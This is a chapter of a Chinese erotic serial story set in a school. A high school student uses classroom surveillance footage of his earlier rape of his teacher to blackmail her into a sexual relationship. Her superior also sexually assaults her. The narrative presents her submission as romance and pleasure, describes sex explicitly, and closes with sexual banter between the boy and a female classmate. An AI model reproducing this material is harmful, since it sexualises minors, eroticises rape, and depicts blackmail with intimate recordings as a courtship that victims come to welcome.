图片载入中

校园轶事系列之齐楚嫣.迷途羔羊(3)

特大字】 【大字】 【中字】 【小字

第三章,交换条件

从教室出来,赵维涵就径直来到了学校保卫处。

“呦……少爷怎么到我们这来了?这么晚还没回宿舍?有事么?”说话的是保卫处的一名值班保安,看见赵维涵推门进来,忙放下手机站起来打着招唿。全校都知道赵维涵的身份,平时这些年轻的保安见到他,都叫他“少爷”,赵维涵有事没事的,也常跟他们打打球、胡逼乱侃的。能跟校董的公子称兄道弟,听他讲些泡妞的段子,又能经常蹭到好烟抽,这帮保安都美得不得了。

“刚几点就晚了?喏……拿去抽吧……”赵维涵说着,从兜里掏出半盒“苏烟”,扔给保安,问道:“里屋有人么?开门让我进去看看……”

保安接住扔过来的烟盒,哈着腰说道:“谢谢少爷……里屋没人呐,我这可没毛片,那些监控有啥好看的?”

“操……你丫就知道毛片,哪天给你丫拿两张好的,孙贼……让你丫一直撸到天亮,哈哈……赶紧开门……”

“得嘞……”保安一听有毛片看,立刻乐得眉开眼笑的,忙不迭的掏出里屋监控室的钥匙,把门打开了……

齐楚嫣拖着酸痛、无力的双腿,回到宿舍。进门后看到徐姐已经躺下了,赶忙脱下衣服,直接就把自己关在洗手间的淋浴房里。花洒里喷出的水流,喷洒在她的脸上,夹杂着无尽的泪水,冲刷在她的肌肤上,却好像永远也无法洗清身体里被玷污的印记……

也不知洗了多久,齐楚嫣才从洗手间里出来,浑浑噩噩地爬上自己的床铺,拉过被子蒙在头上。真希望是场噩梦,可浑身的酸痛和下体传来的肿胀,却告诉她,这一切都是真的。虽说自己几年前就失去了宝贵的第一次,但内心却依旧保持着宛如处女的纯真,憧憬着将来能拥有一份属于自己的爱情,将这份纯真献给能与自己厮守一生的丈夫……可是,刚才的一场噩梦,却将这份美好的愿望撕得粉碎,女人的羞耻、教师的尊严,在无耻色狼的淫威胁迫下,惨遭蹂躏。更加令她无地自容的是,自己竟然在那色狼的奸淫下,高潮迭起、快感连连,还亲口说出了那些自己都无法想象的下流话,简直比淫荡的贱女人还不要脸……

蒙在被子下的齐楚嫣,双手掩面,紧咬着嘴唇,无声地啜泣着,屈辱的眼泪,顺着指缝滑落下来。也不知哭了多久,才昏昏沉沉地睡了过去……

“小齐啊……小齐……该起床啦……你昨晚怎么那么晚才回来?还想等你回来聊聊呢,一躺下就先睡过去了……”徐姐摇了摇齐楚嫣的身子,一边拢着头发,一边自言自语地说道。

齐楚嫣掀开被子,睁开迷茫的双眼,无神地望着窗外。看天色,今天是个晴朗的好日子,可她的心情却是无比的灰暗……

“呦……你脸色这么不好……眼睛都是肿的……你病了么?”徐姐注意到齐楚嫣那烂桃一样红肿的双眼,和丢了魂似的眼神,关切地问道。

“我……我不太舒服……徐姐你帮我跟秦主任请个假吧……今天……今天怕是不能上课了……”齐楚嫣有气无力地说道。肉体上的折磨和精神上的巨大打击,根本没有恢复过来,别说去给学生们上课了,此时要说是心如死灰,也不为过……

徐姐又关切地问了半天,哪不舒服、要不要陪她去医务室看看之类的,可齐楚嫣只是闭着眼摇头,说自己没事,休息一下就好,似乎没有力气再多说一句话。弄得徐姐有些摸不着头脑,心里甚至想到,会不会是昨晚自己把谭锐锋叫走了,惹得两个小情人吵架了?也不好再深问,给齐楚嫣倒了杯热水,怏怏地上课去了。远处操场上渐渐热闹起来,学生们的嬉笑、打闹声从窗外传来,新的一天开始了。不一会,早操的音乐声响起,在悠扬的乐曲声中,昏昏沉沉的齐楚嫣,迷迷煳煳地昏睡了过去……

“笃笃……笃笃笃……”一阵敲门声,将齐楚嫣惊醒,她翻身坐起,一边拢了拢头发,一边穿鞋下地朝门口走去,问道:“来了……谁呀?”

“小齐啊……听徐老师说你生病了?我特意过来看看你……”门外站着的,是齐楚嫣最不想看到的教务主任秦正仁,闪着油光的一脸肥肉,堆满了热情的笑容。

“哦……秦主任啊……您好……请……请进吧……”虽然极不情愿,但齐楚嫣还是硬着头皮挤出一丝笑容,闪身将男人让进屋来,关上了房门。

“对不起啊……秦主任……我身体有些不太舒服……可能是这几天累的……着凉了……跟您请个假……休息一天……”齐楚嫣低着头,一边红着脸说着,一边要给秦正仁倒水。敬业爱岗的美女教师,自打到学校上班的那天起,还是第一次跟领导请假,难免有些窘迫。更何况身心刚遭受了一次令人难以启齿的伤害,就这么蓬头垢面、睡眼惺忪的面对领导,拿着暖瓶的手,不禁微微抖起来,倒进杯子里的水,倒有小一半洒在了桌上。

“哎呀你快躺下休息吧,我自己来……”秦正仁一把接过暖瓶,放在桌上,抓住齐楚嫣的一双小手,将她拉到床边,不由分说地将女人按倒在床上,撩起被子盖住她的身子。

要是换做别人这么体贴、关心,齐楚嫣自然是会十分感动,但此时在自己床前的,却是这个自己最反感、最讨厌的猥琐男人,自己一点也不觉得他是在关心自己,只希望他赶紧从这里消失才好。

秦正仁拉过一把椅子,在床边坐了下来,眼神却被女人露在被子外面的一双脚丫吸引了过去。那双粉嘟嘟的小脚丫,脚趾纤细、秀美,趾尖涂着红色的趾甲油,红艳欲滴,映衬得肉肉的脚丫,更显娇柔、白嫩,真恨不得扑上去亲两口才好。男人的色心被撩拨得痒酥酥的,赶忙伸过手去,抓住被脚往下拉了拉。表面上是要帮齐楚嫣整理被子,却趁机捉住女人的一只脚丫捏了捏,说道:“呦……脚丫这么凉?快盖好了,别再着凉了……”

齐楚嫣只觉一阵恶心,身子赶忙往上窜了窜,靠在床头上,双脚缩进被子里,拉紧被头,双臂抱在胸前,低着头,脸色无比的忸怩、拘谨……

女人内心的厌恶,男人是看不出来的,而那一脸的羞涩和忸怩,却看的他一阵心猿意马。秦正仁还以为自己刚才试探性的挑逗,让女人害羞了,他哪里知道,女人那极不自然的神色,一半源自于他,另一半,却源自心中那难以触碰的伤痛……

“小齐啊……一直想找你好好聊聊……总是没有机会。你到咱们学校也有段时间了,怎么样?工作上有什么困难没有啊?生活上还有什么需要?跟我说说嘛……”秦正仁脑子里还晃动着那一双白嫩嫩、粉嘟嘟的小脚丫,咽了口唾沫,身子往前探了探,一脸关切地问道。

“哦……都……都还好……只是……我想跟其他老师调换一下,我不想再教高二。一班了……”齐楚嫣低着的头,又往后躲了躲,皱了皱眉。男人浓重的口臭扑面而来,空着的肚子里一阵反胃。

“高二。一班?哦……赵维涵他们班吧?小齐啊……我知道,你跟我说过,那小子老是调皮捣蛋的,还老气你。可你也知道,他爸爸是校董,咱们得罪不起啊……用不了多久,那小子就去澳洲了嘛,你再忍耐一下吧……”还是这一套不痛不痒的老话,齐楚嫣知道,自己得不到任何人的理解和同情,可自己又怎么可能把昨晚在教室里被赵维涵强奸了的事说出来呢?牙齿被打掉了,也只能往肚里咽,自己造就的耻辱,还是自己默默承受吧……

“我……那我想多请两天的假……好好休息一下……”

“这个嘛……小齐啊,你也知道,咱们学校现在师资力量也比较紧张,那几个外教的课务已经很重了,再让他们帮你代课……也不好安排啊……你还是克服一下吧……另外呢,咱们学校正打算评选出几名优秀教师,秋天的时候,组织去澳洲进行一段时间的交流,我可是很看好你呦……怎么样?想不想去澳洲玩玩啊?”秦正仁说着,伸手在齐楚嫣的大腿上拍了拍,还似有似无的,隔着被子在女人腿肉上轻轻捏了一下。

齐楚嫣浑身一激灵,身上汗毛孔都紧张的张开了。男人连续的小动作,已十分明确无误了,这是在一步步的试探自己。澳洲,那个令人神往的地方,当然非常想去,以自己的业务能力和师生中的口碑,要评选上优秀教师也不是太大的问题,可此时齐楚嫣心里却并未感到有多少喜悦。心中的伤口还在滴血,泪痕还未擦干,却又遭遇自己的领导、这个猥琐男人的骚扰。如果说,昨晚被赵维涵那色狼强奸时,自己还能体验到高潮,享受了那么一段肉体的愉悦,那么此时此刻,齐楚嫣只感受到了恶心与厌恶,恨不得一把推开面前这个男人,夺门而出,逃离这令人窒息的窘境。

“小齐啊……你还没去过澳洲吧?啧啧……那地方可美了……我去过一次……我跟你讲啊……”秦正仁一边说着,一边很自然地从椅子上欠起身子,一屁股坐在了女人的床边上,一把捉住女人的一只小手,揉捏着,色迷迷的双眼,直勾勾地盯着惊愕、窘迫的齐楚嫣。

“秦……秦主任……别……你别这样……”齐楚嫣像一只受惊的小鹿,面前是一头压向自己的棕熊,挣扎着试图抽出手来,脸色由红转白,身子往后躲着。睡衣下摆还坐在屁股下面,随着身子的后撤,一侧的睡衣领口被大大的拉扯开,大片雪白的玉颈、香肩裸露了出来。

“哎呀……小齐你手这么凉……是不是在发烧啊?让我摸摸……”死死攥着女人小手的秦正仁,伸过另一只手去,在齐楚嫣的额头上假意摸了一下,还没容女人反应过来,那手就滑到了她脖颈上,顺着光滑的玉颈肌肤,插入睡衣领口之中,在女人的脖颈和后背上摩挲起来。

“啊~~~ 秦主任……你……你要干嘛……别这样……”

“小齐啊……你的皮肤好白啊……还这么嫩滑……手感真好……”秦正仁说着,一把抱住瑟瑟发抖的齐楚嫣,像头猪似的,将肥厚的嘴唇凑到女人脸上、脖颈上,一阵舔舐、亲吻……

齐楚嫣拼命躲避着那张臭烘烘的嘴巴,脸颊上、脖颈上,瞬间被男人粘腻的口水打湿了一片。靠在床头上的身子,却被紧紧抱着,丝毫动弹不得。惊恐万状的齐楚嫣,拼命蹬踏着被子中的双腿,结结巴巴地说道:“秦……秦主任……你……你不能这样……我父亲……我父亲可是你的朋友啊……快放开我啊……”已经被色欲冲昏了头的秦正仁,哪里顾得上女人的反抗,一边在女人的脖颈中亲吻着,一边喃喃说道:“我早就喜欢你了……你让我好好亲亲……我保证……让你去澳洲……嗯……真香啊……”边说边撩开了女人身上的被子,一把抓住齐楚嫣的一只乳房,隔着睡衣揉搓起来……

“笃笃笃……”就在齐楚嫣即将绝望的时候,响起几下敲门声。

秦正仁立刻像挨了一闷棍似的,僵住了,抓在女人乳房上的手,却恋恋不舍地又抓揉了两下,这才放开了齐楚嫣,站直了身子,慌乱而又尴尬地瞥了瞥呆若木鸡的女人。

“楚嫣……是我啊……开门……笃笃……”门外是谭锐锋的声音,门又被敲了两下。

“来了……”齐楚嫣从没觉得自己男友的声音如此的亲切。同样是被色狼侵犯,可昨晚在教室里被赵维涵玩弄时,也没有现在这种感觉,好像是在死亡的边缘被拯救回来了一般。她慌忙整理了下衣服,飞奔过去,把门打开了。

“楚嫣……怎么生病了也不给我打个电话呀……呦……秦主任也在呢?”谭锐锋手里提着一袋水果,边说边走进屋里,突然发现坐在椅子上的秦正仁,忙满脸笑容地打着招唿。

“哦……小谭啊……我来看看小齐,既然你来了,那我就回去了……小齐啊……好好休息,不要担心工作,我会安排其他老师替你代几天课,你就休息三天吧……”说着,秦正仁背着手,意味深长地看了看齐楚嫣,转身出去了。

“谢谢秦主任……您慢走……”齐楚嫣没搭理秦正仁,谭锐锋却抢过了话头。送走秦正仁,关上房门,齐楚嫣这才松了口气,坐在床上暗自神伤,感觉浑身都不自在,尤其是脖颈间被那猪嘴拱的一片黏煳煳的,想想就反胃。

“锐锋……我……我想辞职……”齐楚嫣低着头,突然冒出这么一句,吓了谭锐锋一跳,赶忙问道:“你发烧了么?怎么说上胡话了?”

齐楚嫣也不知道为什么会突然产生这个想法,即使是昨晚遭受那场性侵噩梦之后,她也没有产生过要辞职的念头,可是刚才秦正仁的这一次侵犯举动,却好似是在新鲜的伤口上,又撒了把盐一样。当初走进这所校园时,看着哪里都那么的亲切,多少次暗下决心,要为之奉献自己的一生,此时却好似看哪里都那么的陌生,万念俱灰一般。

谭锐锋哪里知道女友这是怎么回事,昨天还好端端的,今天却突然说要辞职。本来就像块木头似的男人,完全蒙了,更不知道怎样哄她开心。其实,就算这个书呆子知道了女人的心事又能怎样?先被自己的学生强奸,又遭到领导的性骚扰,要不是他及时出现,甚至有可能再次被奸污。连续遭受的打击,别说是齐楚嫣这样性格柔弱、涉世未深的女人了,就是换做一个性格坚强的女人,精神和肉体上的创伤,也是十分巨大的。而最痛苦的,是所有这些伤痛都说不出口,只能憋在心里。在无法同时面对领导和学生两方面的侵害时,齐楚嫣只能选择自己逃避。任凭谭锐锋怎么问,齐楚嫣也说不出是啥原因,只是说太累了,身心疲惫,想回家休息一段时间,再换个环境。说着说着,委屈的眼泪夺眶而出,本来就拙嘴笨舌的男人,更是手足无措、不知道怎样去哄了。东拉西扯的说了一些宽心话,也完全不着边际,不但一点也没起到安慰的作用,反而使齐楚嫣糟透了的心情,更加的烦躁。本来也没指望自己的这个男友能帮上什么,但在最需要得到他抚慰的时候,却完全没有要向他倾诉苦闷的欲望。虽近在咫尺,却好似无比的遥远,甚至一点也没有要靠在他肩头、得到他一个拥抱的渴望。本就清淡如水的那么一点爱恋,似乎已经荡然无存……

“你走吧……别耽误你的课……我没事……让我一个人待一会好么……”齐楚嫣擦干眼泪,轻声说道。也许,从昨晚到现在,流了太多的眼泪,似乎已经流干了,面对这个忽然间毫无感觉、形同路人的男友,齐楚嫣不想再听他在自己耳边絮叨,只想一个人静一静……

木讷的男人哪里能看出女友内心的变化,一向唯命是从的书呆子,见齐楚嫣停止了哭泣,还以为她没事了,就又安慰了两句,转身走了。

齐楚嫣独自一人靠在床头,一双美丽的大眼睛,无神地望着窗外的蓝天,感觉自己仿佛是一只被囚禁在笼中的小鸟,心情无比的沮丧、压抑……

“笃笃……”门外又响起了两下敲门声,打断了女人纷乱的思绪,以为又是哪个同事过来探望自己了,走过去把门打开了。

“你……你来干什么?滚!我不想看见你……”门外站着的是赵维涵,那个卑鄙无耻的色狼、用胁迫手段强奸了自己的小流氓,依旧是一副玩世不恭的神态,嘴角挂着招牌似的坏笑。那张原本看着并不讨厌、甚至还有些耐看的脸,此时却好似是一副恶魔的面具,令人毛骨悚然。

齐楚嫣刚要把门关上,却被赵维涵伸脚别住门扇,一脸狡黠地说道:“齐老师……不让我进去么?你不怕被别人看见?”

此时虽然是上课时间,宿舍楼里没什么人,可万一要是有人路过,看见了还真是不好。门是关不上了,齐楚嫣只得放男孩进来,迅速把门关上了。

“哎呀……齐老师的香闺是这样的啊……以前还真不知道……嗯……还挺香的嘛……”赵维涵环视了下四周,见屋里没人,胆子大了起来,抽了抽鼻子,嬉皮笑脸地说道。说完,将藏在身后的一束鲜花递到齐楚嫣面前:“宝贝儿……送给你的……喜欢不?”一双闪着亮光的眼睛,直勾勾地盯着一脸惊恐的女人。“拿走!我才不要……你要再不出去,我可喊人了啊……”齐楚嫣柳眉倒竖,满脸的惊惧换做了一脸怒容,呵斥道。

“喊人?喊谁呀?昨晚你都没喊人,现在想起喊啦?嘿嘿……”早已将美女老师的弱点摸透了的赵维涵,完全没有半点收敛,大摇大摆地走进屋里,将花束放在桌上,一屁股坐在齐楚嫣的床上,躺了下去,说道:“这是你的床吧?嗯……还挺软乎……哪天在这上面跟你做一次……肯定比在讲台桌上爽多了……哈哈……”

“你……你混蛋……无耻!起来!不许弄脏我的床……”色狼赤裸裸的挑衅,重重敲击着女人的神经,齐楚嫣气得脸色惨白、浑身发抖,恨不得手里有把刀子,扑上去和这个玷污自己身体的色狼拼命。

“得啦……宝贝儿,怎么还这么激动?躺一下就弄脏了?昨晚射你子宫里,你都不嫌脏……真是提起裤子不认账、翻脸不认人呐……唉……”赵维涵嘴上这么说着,倒是从床上坐起身来,双手插着裤兜,走到齐楚嫣身边。

精神上的蹂躏,比身体上遭受的创伤还要令人痛苦,男孩轻描淡写的几句话,句句都像钢针一样,狠狠刺在女人的心上。不争气的眼泪,瞬间涌出眼眶,无比羞愤、屈辱的齐楚嫣,双手掩面,背过身去。

“宝贝儿……怎么又哭上了?好了……不逗你了,以后你是我的女人了,只要你乖乖的,我会让你天天都开心……谁要是敢欺负你,我弄死他……”一边说着,男孩从裤兜里掏出个药盒,塞到齐楚嫣手里,说道:“喏……这个给你,我刚去药店给你买的……赶紧吃了……除非你打算给我生个儿子……嘿嘿……”齐楚嫣透过模煳的泪眼,瞟了眼手里的纸盒,只见粉色的盒子上两个醒目的大字“毓婷”,立刻明白是怎么回事了。虽说她从未吃过紧急避孕药,但她知道这个牌子的药是干嘛用的,心头不免一惊:“这几天还真是排卵期呢,完全没想到这个问题……好危险啊……他还真是挺细心的……”昨晚的事太突然了,直到此时她都没想过,自己会不会因此而怀孕,不禁一阵后怕,心底里似乎对这个无耻的色狼产生了一丝感激。

“好了……还有事么?没事你可以走了……”齐楚嫣擦干泪水,面无表情地说道。语气虽然冷冷的,但已不像刚才那样气愤了。

“宝贝儿……不让我多待会么?我一晚上没见到你……想你想的不行呢……你是不是也很想我呀?看你脸色这么不好……一定是没睡好吧?啧啧……真让我心疼啊……”看见美人给自己好脸了,男孩越发的得意忘形起来,舔着脸凑到女人身边,一边灌着甜言蜜语的迷魂汤,一边张开双臂就要搂抱上去。

“不许再碰我!出去!”齐楚嫣双臂抱在胸前往后躲着,怒目而视。

眼看女人就要退到墙角了,要是扑上去,纵然是插翅也难飞,可男孩并未继续用强,撇了撇嘴,叹了口气,从裤兜里掏出手机,低头摆弄着,回到床边的椅子上坐了下来。

本以为又是一次难以逃避的骚扰,可男孩的举动倒是出乎齐楚嫣的意料,正在愣神的工夫,床头自己的手机发出“嘀嘀嘀”的信息声。

“齐老师,好像是你的手机在响哎……要我帮你打开看看么?”赵维涵一脸狡黠地问道,拿起了齐楚嫣的手机。

“不许动我手机……”齐楚嫣抢上一步,一把夺过自己的手机,一边说着,一边点开了手机屏幕……

屏幕上是一段视频画面,俯拍的角度,场景是自己再熟悉不过的教室,下角是讲台桌。虽然画质不是十分清晰,也没有任何声音,但齐楚嫣已经惊愕得脸色惨白、浑身颤抖,手机差点脱手掉落下去。

讲台桌边上,靠着一个几乎全裸的男人,一条大短裤褪到脚上堆着,胯间黑乎乎的耻毛间,一根粗大的肉棒直挺挺地耸立着,身下蹲着一个背对着镜头的长发女人,一身灰色的职业套装,双手抱着男人的屁股,嘴巴含着那根粗大的肉棒,正在为男人口交……

齐楚嫣简直不敢相信自己的眼睛,一手捂着嘴巴,一双大眼睛死死盯着屏幕,拿着手机的手剧烈颤抖着……

“齐老师……好看么?这可是货真价实的真人秀啊……是不是感觉很熟悉啊?嘿嘿……”赵维涵坐在椅子上,晃动着二郎腿,望着女人惊愕的表情,极力忍着不笑出声来。

“你……你……这是从哪弄来的……”齐楚嫣心里已经明白是怎么回事了,从画面的拍摄角度看,这应该是安装在教室墙角天花板上的那个监控摄头拍的。昨晚一切来的太突然了,自己完全没注意到那个摄头的存在。本以为删除了那段裙底视频,就消除了唯一的证据,哪想到,还有这么一段更加令人羞耻的东西,这要是传出去让人看到,该如何是好?齐楚嫣只觉一阵天旋地转,浑身冰冷无比,仿佛坠落到冰窖里一般。

“从哪弄的?你心里应该明白……放心,我第一时间就copy下来了,完整版的在我手里,监控室的电脑里已经没有了,你是第二个看到的人……想看完整版的么?嘿嘿……”赵维涵似乎看出了女人的担忧,没等她问,先消除了她最大的恐惧。

得知视频没有外泄,齐楚嫣稍微松了口气,但依旧无比的绝望。不用再往后看了,既然有口交的这段,那么后面自然就是自己趴在桌上,被奸得死去活来的画面了。

齐楚嫣放下手机,脸色由白转红,又由红转白,额头上冒出一层冷汗,颓然坐到床沿上,身子摇摇欲坠。

“宝贝儿……不想看完整版的么?我昨晚回去可是反复看了无数遍呢……可惜没有声音,没录下你那动听的叫床声……嘿嘿……”男孩一脸淫笑着探过头来,望着女人呆滞的双眸说道。

“啪……”齐楚嫣呆呆地盯着男孩双眼看了几秒钟,突然抬手将一个耳光甩在男孩的脸上,小嘴一歪,哭着说道:“呜呜~~~ 你……你已经得到你想要的了……还不够么?呜呜~~~ 你到底想要……想要什么啊……呜呜呜~~~ ”赵维涵摸了摸被打的脸,坐直了身子,“哼哼”冷笑了两声。别说这下打的一点都不疼,就算打疼了,也一点都不会生气。手里这张王牌,可比之前的裙底春光那段,更有杀伤力,有了这张王牌,面前这个小美人,是彻底的要向自己缴械投降了,让她打个耳光发泄一下,根本不算什么。

“我想要什么?宝贝儿……昨天就告诉你了,我要你做我的女人,还要再说一遍么?”

“不……不要……求你放过我吧……呜呜~~~ ”陷入绝望的齐楚嫣,心里知道,自己终究是无法逃脱这个色狼的魔爪的,却依旧试图做出垂死的挣扎,哭泣着哀求道。

“瞧你说的,我又不会吃了你……做我的女人难道不好么?我看你昨晚很爽的样子嘛……难道你不怕我把这真人秀发出去么?哎呀……我刚才是不是点错了?已经发到朋友圈里了吧……”说着,男孩装模作样地拿起手机看着。

“呜呜~~~ 求你……不要再说了……我……我答应你就是了……呜呜呜~~~ ”

被逼到绝境的小绵羊,再也没有丝毫反抗的意志了,扑倒在枕头上,掩面痛哭起来。

“嗯……这样就对了嘛……还好,没发到朋友圈里,嘿嘿……放心吧宝贝儿……我怎么舍得把我的女人给别人看?只要你乖乖的听话,我保证不再为难你……来……让我抱抱……亲一个……”说着,男孩坐到床沿上,搂住趴在床上的女人,嘴唇叼住她的耳垂,吸允起来。

耳孔中传来阵阵酥痒,哭泣中的女人,瞬间浑身酥麻、酸软。既然已明知再也无法逃脱这个色狼的控制,潜意识里,只能去接受他的挑逗,何况是如此温柔的、毫无暴力的挑逗。身体上的快感,渐渐将痛苦、绝望的心情压制下去,神志也慢慢恢复过来。

“等等……你……你先起来……我有话说……”齐楚嫣推了一把男孩,擦了擦眼泪,小声说道。

赵维涵知趣地坐直身子,但色手还在女人身上四处游走着。

齐楚嫣也坐直身子,却并没有去阻止男孩的色手,任凭他隔着睡衣,在自己腰肢上揉捏。拢了拢头发,低着头也不看他,小声说道:“你先答应我几个条件……如果都能做到……我再做你的……你的女朋友……”

美人终于肯接受自己了,别说是几个条件,就是让自己上天下海,此时恐怕他都会答应。虽说已经得到了美人的身体,但那毕竟是在违背她的意志、半胁迫半暴力的情况下得到的。强奸这事,对于雄性荷尔蒙旺盛的男人来说,的确能满足一时的快感,但要想长期拥有她,那就必须要征服她的内心,让她心甘情愿地臣服于自己的胯下。

心理上的变化十分微妙,一切都在转瞬间发生了变化。齐楚嫣也说不清,面对这个企图长期霸占自己的色狼,自己竟然会提出以青春和肉体,作为与他交换的条件。就像一个赌徒,当得知自己已经输的精光,再无翻身的可能时,除了向赢家俯首称臣,别无选择,只是在身不由己的最后时刻,还要保持昂起的头颅,维护哪怕是象征性的一丝尊严罢了。

“第一,你要答应我……以后不能再要挟我、欺负我……”乱糟糟的脑子里,无法一下子理清头绪,但这条必须是前提。哪怕这个色狼就是为了玩弄自己,也要让他给自己保留最基本的尊严。齐楚嫣沉着脸,平淡却又坚决地说道。

“这个嘛……只要你听话、乖乖的做我的女人,当然没问题,我答应你了……不过你要是不听话嘛……那我可就不能保证了……”

齐楚嫣也没搭理男孩的狡辩,继续说道:“第二……你不许再欺负同学……尤其是……女同学……”她本想说“要我做你女朋友,你就不许再碰别的女人……”可这话又一时说不出口,话到嘴边把意思给改了。

“没问题,答应你了,反正也没人敢惹我……还有么?”

“第三……你得用功读书……至少,要学好英语,不能总是不及格……”

“这个嘛……你这不是难为我么?我想想……”齐楚嫣本想给他提个高难度的要求,让这个不学无术的男孩知难而退才好呢。果然,这个要求难住了赵维涵,男孩歪着头,眨巴着眼睛思考着,已插入女人睡衣里的色手,都停止了揉捏动作。“好,我答应你了……我会尽力的……还有么?”赵维涵其实一点都不傻,他知道,自己早晚都是要移民澳洲的,也就是说,即使现在不好好学英语,将来也是一样得学。为了俘获美人芳心,索性咬咬牙,用用功就是了,无非就是背背单词嘛,没啥大不了的。

这倒是有些出乎齐楚嫣的意料,她心中不免一颤:“看来这个小流氓是真的对我动心了,居然肯答应好好读书?哼……走着瞧吧……”

“好,第四……第四……”齐楚嫣一时有些语塞,没想到赵维涵能痛快的答应,后面的条件还没想好怎么说呢。

男孩的色手又开始不老实了,从女人的后背向胸前游走过去……

“去!拿出去……”沉思着的齐楚嫣,突然感觉乳房上一真酸胀,瞬间反应过来,撩起睡衣衣襟,抓住男孩的色手,用力拽了出来。继续说道:“第四……我男朋友对我很好……我不想让他因为我……受到伤害……你得给我些时间……”这倒是实话,虽然心里对男友的那种感觉,好像无形中已消失殆尽,但毕竟曾经相好一场,至少此时还没想好,该怎样去面对他。

“你说谭锐锋啊?那还不简单?你不好意思说,我找丫说去,我的女人,让丫先占着,我不打丫那就不错了,操……”刚摸到美人面团般柔嫩的乳房,就被拦了出来,男孩本就一肚子的不爽,一想到谭锐锋那傻逼,更是气不打一处来。“住嘴!不许你侮辱他!他……他才不像你……他很尊重我……几乎……几乎都没碰过我……”

“呦……还有这事?哈哈……那好吧,看在丫这么老实的份上,我让我爸给他找个更好的学校,把他调到澳洲去不就得了?他肯定乐意,行不?”一听说谭锐锋那傻逼都没碰过齐楚嫣,赵维涵只觉心情大好。

男孩的这个提议,听起来倒是不错,如果真能这样,也算对得起男友了。

“第五……我要你想办法……把秦正仁从这赶走……你能办到么?”齐楚嫣也想不出其他的要求了,前面四个条件,他竟然都答应了,似乎也只有这件事,算是自己一个如鲠在喉的心事,也算是给男孩再出道难题吧。本来就萌生辞职念头的齐楚嫣,也没怎么指望男孩能满足自己这个有些无理的要求,倒似乎是更想看看男孩的反应如何。

“嗯?秦正仁?丫怎么招你了?”齐楚嫣的这个要求,的确出乎男孩的意料。“你别问了……你就说……能不能办到吧……”一想到那头猥琐的肥猪,趴在自己身上四处乱摸、乱拱的场景,齐楚嫣就一阵反胃,一脸厌恶地说道。“能是能……可你总得给我个理由啊……我也烦那孙子,可你也知道,丫是我爸给找来的,没合适的理由开了他……董事会也不会批准呐……”

“你……你刚才说的那些话……都算数么?”齐楚嫣小声问道。她知道,不告诉他怎么回事,他确实是很难办到此事的。

“当然算数了……哪句话?”男孩有些莫不着头脑,问道。

“就是……就是你说……要让我天天开心……谁敢欺负我……就……就……”齐楚嫣结结巴巴地复述着男孩刚才进门时的誓言。她心里知道,只要自己彻底臣服于他,男孩的这些誓言,是一定会兑现的。

“对,没错,你是我的女人了,我当然会保护你,谁敢欺负你,我弄死丫那……”赵维涵抢过了话头,恶狠狠地说道。突然回过味来,抓着齐楚嫣的双肩问道:“怎么?秦正仁那孙子欺负你了?什么时候的事?丫都对你干什么了?快告诉我……”

“哼……你们这些男人都一样……看见漂亮点的女人……就想着怎么占有……”望着男孩那一脸焦急的神色,齐楚嫣觉得又好气又好笑。真没想到,昨晚采用卑劣手段占有了自己的小流氓,此时听说另一个流氓欺负了自己,会如此的焦急、震怒。

齐楚嫣硬着头皮,简单说了一下刚才发生在这里的事,尽管细节都没说,但也足以说明问题了。赵维涵眯着眼,一边听着,一边喘着粗气,眼神中透出一股凶光,看得齐楚嫣后背直发毛,说道:“不过他也没占到我太多便宜……你也没必要对他怎么样……只要别再让我看见他就行了……你要是办不到就算了……反正……反正你俩都是一路货色……”

“我跟丫可不一样……没错,我是个流氓,可只要你跟了我,我就会对你好,丫行么?你放心吧,我保证让你出这口气……还有么?”

临时想出的五个条件,本只算是个权宜之计,没想到男孩全都一口答应了下来,弄得女人倒无话可说了。形势发生了根本的变化,由一场学生胁迫老师从奸的龌龊关系,变成了宛如恋人间的郑重承诺。这个角色的变换来得太突然,齐楚嫣的内心还没有完全适应,她愣了一会,摇了摇头说道:“没了,就这些,你要是都能办到……我……我就死心塌地的……做你的女人……不过……你得给我点时间适应……一个月吧……一个月以后,等你把这几件事都办到了……我会兑现我的诺言……到时候……你想怎样……就怎样吧……”

这几个条件,虽出乎意料,却也都在情理之中。赵维涵原本以为,齐楚嫣会提出些什么物质上的要求,比如买车、买包包之类的,因为他以前泡过的那些妞,或多或少都会被他这富二代的身份所吸引,用物质条件作为肉体关系的交换,他早就习以为常了。突然遇到这么一个不拿金钱、物质当交换条件的女人,他反倒觉得不太适应,仿佛是捡到了一件稀世珍宝一样的兴奋,对眼前这个与众不同的美人,除了刮目相看外,心中更是又平添了一份爱恋……

从齐楚嫣的宿舍出来,赵维涵办的第一件事,就是拨通了老爸的电话……

膝下就这么一个儿子,虽然骄纵顽劣,但当爹的拿他也没啥办法,只盼这小子别给自己闯出什么天大的祸,早日到澳洲一家团聚就烧高香了。通过在澳洲当地的关系,把一个数学老师安排到一所华人学校任教,那也不是什么太难的事。尽管儿子死活不说到底是因为什么,但赵维涵的父亲还是答应了他的这个要求。挂上电话,赵维涵点了根烟,心里盘算着,怎么把秦正仁那老东西弄走。他知道,弄走秦正仁可不像弄走谭锐锋那么简单,没有合适的理由,别说自己亲爹了,就是董事会也不会批准,毕竟那老色鬼还是有一定的工作能力的,这几年学校的教务工作安排的还算井井有条、十分出色,校长和董事会对他还是比较认可的。

“老逼……敢打我女人的主意……就算不弄死你也不让你丫好受……哼哼……”赵维涵踩灭烟头,一个计划已经了然于胸。

此时正是课间休息,操场上三三两两的学生们嬉笑、打闹着,好不热闹。不远处树荫下,几个女生围在一起,不知在聊着什么,不时发出“叽叽喳喳”的笑声。

“王琳……你过来……”赵维涵走到几个女生不远处,冲一个梳着齐耳短发、脸蛋胖乎乎的女孩喊了一句。

“呦……少爷怎么想起我来啦?你都多久没正眼看过人家了?你个花心大萝卜……咯咯……”叫王琳的女孩,扭搭扭搭地走到赵维涵身边,伸手在男孩胳膊上轻轻掐了一下,忽闪着一双媚眼,咯咯娇笑着说道。学生套装下那有些丰腴的身子,透出一种强烈的肉感,裹在短裙中的大屁股,和裙下露出的两条大白腿,无比诱人,浑身散发出一股与她这个年纪不相称的、风骚、狐媚的神态。

“你个小骚屄,是不是又想要哥的大鸡巴狠狠肏你了?”赵维涵一把搂过王琳,在女孩耳边小声问道,色手隔着裙子,在女孩屁股上狠狠抓了一把。

